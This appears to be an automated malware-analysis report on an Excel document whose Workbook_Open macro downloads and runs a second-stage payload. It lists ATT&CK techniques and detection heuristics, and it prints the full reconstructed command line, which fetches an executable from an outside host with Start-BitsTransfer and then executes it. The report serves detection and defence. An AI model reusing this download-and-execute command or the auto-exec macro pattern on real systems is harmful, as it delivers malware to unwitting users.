MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.003 Windows Command Shell

The Workbook_Open macro executes a command that constructs a URL to download a second-stage payload. The reconstructed command line is: C:\Users\Public\Documents\travelespecially.cmd -w hi sleep -Se 31;Start-BitsTransfer -Source http://greenpayindia.com/wp-conternt/ConsoleApp18.exe -Destination C:\Users\Public\Documents\brotherneed.exe;C:\Users\Public\Documents\brotherneed.exe. This script downloads and executes a second-stage payload from the embedded URL.

Heuristics 5

  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1
